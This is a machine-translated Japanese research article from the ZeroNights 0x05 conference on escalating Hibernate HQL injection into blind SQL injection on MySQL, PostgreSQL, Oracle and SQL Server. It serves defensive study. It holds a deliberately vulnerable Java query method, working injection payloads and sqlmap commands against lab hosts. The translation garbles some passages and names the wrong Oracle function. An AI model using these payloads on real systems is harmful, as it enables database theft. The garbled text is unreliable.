このトピックに関するレポートは、FastTrackセクションのZeroNights 0x05カンファレンスで発表されました。 最近、HQLインジェクションを運用する問題がWebセキュリティを専門とする多くのセキュリティ研究者に興味を持っているため、この作業は非常に関連性が高く、大きな関心を呼んだことが判明しました。 したがって、作業の結果をよりよく理解するために、追加の詳細を明らかにする記事を書くことにしました。
原則として、Java言語で書かれた最新のアプリケーションはDBMSと直接連携せず、Java Persistence API(JPA)を使用します。 JPAは、Javaバージョン5以降、Java SEおよびJava EEプラットフォームに追加されたAPIであり、データベースにJavaオブジェクトを格納し、データベースから取得するのに便利です。 JPA仕様を実装するJAVA用の多数のORMライブラリ(ORM-オブジェクトリレーショナルマッピング)があります。 現在までに、仕様の最新バージョンは2.1です。
人気のあるORMライブラリの1つはHibernate ORMです。 Hibernateは現在RedHatプロジェクトです。 WildFlyおよびJBossアプリケーションサーバーは、HibernateをORMとして使用します。
Hibernate ORMは、オブジェクト指向クエリ言語Hibernate Query Language(HQL)を使用して、データベースに格納されているHibernateエンティティにクエリを書き込みます。
HQLインジェクション
パラメーターをHQLクエリに転送するには、名前付きパラメーターまたは定位置パラメーターが使用されます。 以下は、名前付きパラメーターを使用してパラメーターをHQLクエリに渡す例です。
name
パラメーターはHQLクエリに渡されます。
public List<Post> getByName_Secure(String name) { Query query = em.createQuery("SELECT p FROM Post p where p.name=:name", Post.class); query.setParameter("name", name); return (List<Post>) query.getResultList(); }
無知または理解不能から、開発者は上記のように、パラメーターバインドを使用する代わりに連結を使用して、HQLクエリに名前パラメーターを直接渡そうとする場合があります。 この場合、コードにはHQLインジェクション(HQLi)が含まれています。 以下は安全でないコードの例です。
public List<Post> getByName_Insecure(String name) { Query query = em.createQuery("SELECT p FROM Post p where p.name='" + name + "'", Post.class); return (List<Post>) query.getResultList(); }
HQLiを使用する場合、攻撃者は、マップされたPostクラスがアタッチされているpostテーブルとは異なるテーブルのコンテンツを読み取ることができません。 エンティティに関連付けられていないテーブルがサブクエリでアクセスされると、
HibernateQueryException
スローされ、クエリはそれ以上処理されません。
package hqli.persistent; import javax.persistence.*; @Entity @Table(name = "post") public class Post { … }
もちろん、エンティティクラスが認証または承認のためにアプリケーションによって使用されるデータを格納するテーブルに接続されていない限り、これはHQLiを使用する場合の重大な障害です。
研究者@PaulWebSecは 、 HQLiを操作するためのHQLmapユーティリティを作成しました。 このユーティリティは、HQLiを操作するためのブラインドおよびエラーベースの手法を実装していますが、関連するテーブルからのみデータを取得できます。
別の研究者@ h3xstreamは、 HQLiの操作技術に関する記事を書きました 。 この記事では、エンティティに関連しないデータベーステーブルへのアクセスも許可しない基本的な操作方法について説明します。
研究目的
主な目標は、現在のDBMSユーザーが利用できるすべてのデータベーステーブルにアクセスすることです。 つまり SQLインジェクション(SQLi)としてHQLiを活用する機能を見つけます。
Hibernate ORMの主な目的は、HQLクエリをSQLクエリに変換することです。 HQLからSQLへの変換は、3つの段階で行われます。
- 次の文法を使用して、 ANTLRを使用してHQLクエリを解析します。 解析の結果はHQL-AST( AST-抽象構文ツリー )です。
- HQL-ASTをSQL-ASTに変換します。 この段階で、HQLクエリが関連テーブルのみにアクセスすることを確認します。
- SQL-ASTをDBMSに送信されるSQLクエリに変換します。
目標を次のように再定式化できます-HQLクエリ全体が変換ステージ1および2を通過できるようにするHQLサブクエリを見つける必要があり、最も重要なことは、ステージ3でエンティティに接続されていないテーブルにアクセスできるようにすることです 人気のあるリレーショナルDBMS(MySQL、Postgresql、Oracle、Microsoft SQL Server)にこのプロパティを持つHQLサブクエリを見つけたいです。
研究方法
最初のステップは、実験に使用された脆弱なアプリケーションを作成することでした 。 こちらから入手できます 。 アプリケーションは、脆弱な関数
getByName_Insecure
引数として
getByName_Insecure
れるURLパラメーターを受け入れます。
このアプリケーションは、WildFlyアプリケーションサーバーに展開されています。 次のDBMS用のJDBCドライバーがアプリケーションサーバーにインストールされました:MySQL、Postgresql、Oracle、およびMicrosoft SQL Server。 HQLiDSという名前のDatasourceプロパティを設定することにより、アプリケーションは異なるDBMSに接続されました。
Hibernateのログレベルは、HQLとそれに対応するSQLクエリがアプリケーションサーバーログに書き込まれるように、Debug値で設定されました。
HQL文法の機能とHQL-ASTをSQL-ASTに変換する機能を調査しました。 これらの機能により、各DBMSで操作技術を見つけることができました。
MySQLでのHQLi操作
悪用手法は、文字列内の引用符がHibernateとMySQLでさまざまな方法で除外されるという事実に基づいています。 Hibernateの文字列で引用符を使用するには、二重引用符で囲む必要があります。 MySQLの文字列で引用符を使用するには、スラッシュ文字で引用符をエスケープする必要があります。
# Hibernate 'String with '' symbol' # MySQL 'String with \' symbol'
文字列に
\''
(スラッシュと2つの引用符)を渡すとどうなりますか? つまり 次の値を脆弱性のあるメソッド
getByName_Insecure
にnameパラメーターとして渡す場合。
dummy\'' or 1<length((select version())) --
Hibernateは次のような行を表示します スラッシュはHibernateの通常の文字であり、二重引用符はエスケープされた引用符です。 したがって、結果のHQLクエリは変換ステップ1および2を通過します。逆に、MySQLはエスケープされた引用符
\'
および文字列とパラメーターの残りの値または
1<length((select version())) --
を終了するエスケープされていない引用符を受け取ります
1<length((select version())) --
受け入れられますSQL式としてのDBMS。
この場合、HQLインジェクションは、次のようにsqlmapユーティリティを使用して活用できます。
sqlmap -u "http://192.168.66.10:8080/app/dummy%5C%27%27%20or%201%3Clength%28%28select%20version%28%29%20from%20dual%20where%201=1*%29%29%20--%20" --dbms="MySQL" --technique B -b -v 0
この手法は、 ZeroNightsでのプレゼンテーションの前に、研究者@_unread_ によってSYNACTIV会議で示されました。 プレゼンテーションへのリンクはこちらです。
PostgresqlでのHQLi操作
Postgresql DBMSの場合、引用符のトリックは機能しません。 Postgresqlは、Hibernateと同じ方法で引用符をエスケープします。
Hibernateでは、DBMS関数を呼び出して、これらの関数のパラメーターとして任意の識別子を渡すことができます。 Postgresqlには、任意のSQLクエリを実行できる便利な
query_to_xml('select 1',…)
関数
query_to_xml('select 1',…)
があり、これは最初のパラメーターとして渡されます。 この関数はXMLオブジェクトを返します。
query_to_xml
を操作に使用するには、
array_upper
および
xpath
関数の呼び出しでさらにラップする必要があります。
query_to_xml
渡されたSQLクエリが1つ以上の行を返す場合、このコンストラクトは値
1
を返します。
array_upper(xpath('row',query_to_xml('SQL', true, false,'')),1)
クエリは
select 1 where 1337>1
は単一の行を返すため、式は値
1
返します。
postgres=# select array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1); array_upper ------------- 1 (1 row)
select 1 where 1337<1
がゼロ行を返すクエリ
select 1 where 1337<1
ため、式は値
1
返しません 。
postgres=# select array_upper(xpath('row',query_to_xml('select 1 where 1337<1', true, false,'')),1); array_upper ------------- (1 row)
最終的に、次のようにsqlmapを使用してHQLiを悪用できます。
sqlmap -u "http://hqli.playground.local:8080/hqli.playground/dummy%27%20and%20array_upper%28xpath%28%27row%27%2Cquery_to_xml%28%27select%201%20where%201337%3E1*%27%2Ctrue%2Cfalse%2C%27%27%29%29%2C1%29%3D1%20and%20%271%27%3D%271" --dbms="PostgreSQL" --technique B -b -v 0
Postgresql DBMSでのHQLiの動作を示すビデオは、 ここから入手できます 。
OracleでのHQLi操作
Oracleの場合、HQLiの操作はPostgresqlの操作に似ています。 Oracleでは、
DBMS_XMLGEN.getxml('SQL')
関数を使用すると、SQLクエリを実行して
CLOB
を返すことができます。
DBMS_XMLGEN.getxml
関数を操作に使用するには、
NVL
および
TO_CHAR
呼び出しでラップする必要があり
TO_CHAR
。
DBMS_XMLGEN.getxml
渡されたSQLクエリがゼロ行を返す場合、次のコンストラクトは値
'1'
を返します。
NVL(TO_CHAR(DBMS_XMLGEN.getxml('SQL')),'1')
sqlmapを使用したOracle DBMSでのHQLiの操作は次のとおりです。
sqlmap -u "http://hqli.playground.local:8080/hqli.playground/dummy%27%20and%20NVL(TO_CHAR(DBMS_XMLGEN.getxml(%27select%201%20from%20dual%20where%201337>1*%27)),%271%27)!= %271%27%20and%20%271%27=%271" --dbms="Oracle" --technique B -b -v 0
Microsoft SQL ServerでのHQLiエクスプロイト
Microsoft SQL Serverの場合、引用のトリックは機能しません。
query_to_xml
や
query_to_xml
関数は、DBMSでは使用できません。
この場合、HQLiの操作は、関数に渡される関数名とパラメーター名にHibernateがUnicode文字を使用できるという事実に基づいています。 同時に、SQL Server DBMSでは、
No-break spac (U+00A0)
や
Ideographic space (U+3000)
文字
Ideographic space (U+3000)
などのUnicode文字を使用できます。 したがって、次の2つのクエリは有効であり、SQL Serverで同等です。
select top1 uname from postusers select[U+00A0]top[U+00A0]1[U+00A0]uname[U+00A0]from[U+00A0]postusers
したがって、脆弱なメソッドにパラメーターとして次の値を渡すと、
dummy' or 1<LEN([U+00A0](select[U+00A0]top[U+00A0]1[U+00A0]uname[U+00A0]from[U+00A0]postusers)) or '1'='1
Hibernateは、
Len
関数の呼び出しを確認します。この関数内では、
[U+00A0]
という関数が呼び出され、次のパラメーターが引数として渡されます。
select[U+00A0]top[U+00A0]1[U+00A0]uname[U+00A0]from[U+00A0]postusers
Hibernateの観点からは、Hibernateを使用すると、関数を呼び出して変数をパラメーターとして渡すことができるため、すべてが正常に見えます。 HQLクエリは、変換手順1と2を正常に渡します。
[U+00A0]
スペースとして扱われるため、SQL Serverには
postusers
テーブルにアクセスする追加のサブクエリが表示されます。
dummy' or 1<len((select top 1 uname from postusers)) or '1'='1
sqlmapを直接使用したHQLiの悪用は機能しません。 これに関して、現在のデータベースのテーブル名を取得し、選択したテーブルの列名を抽出し、最後に選択したテーブルをダンプできるPerlスクリプトが作成されました。 Perlスクリプトがどのように機能するかを示すビデオは、 ここから入手できます 。 Perlスクリプトはここから入手できます 。
おわりに
一般的なDBMSのブラインドSQLiとしてHQLiを活用できる新しい手法が見つかりました。 これは、HQLiの危険性とSQLiの危険性を同一視しています。
HQLクエリを解析する機能とHQL-ASTをSQL-ASTに変換する機能により、操作上のテクニックが機能します。
- 文字列内の引用符は、二重にするとエスケープされます。 MySQLでは、引用符のエスケープ方法が異なります(スラッシュ文字を使用)。
- 呼び出される関数には任意の名前を使用できます。 HQLでは、Postgresqlの
query_to_xml
関数とOracleのquery_to_xml
関数を呼び出すことができます。 - 呼び出された関数の名前とそれらに渡される名前のパラメーターにUnicode文字を使用することができます。
No-break spac (U+00A0)
またはIdeographic space (U+3000)
文字Ideographic space (U+3000)
の文字を使用できます。これらは、Microsoft SQL Serverのスペースとして解釈されます。
ZeroNights 0x05でのパフォーマンスのプレゼンテーション。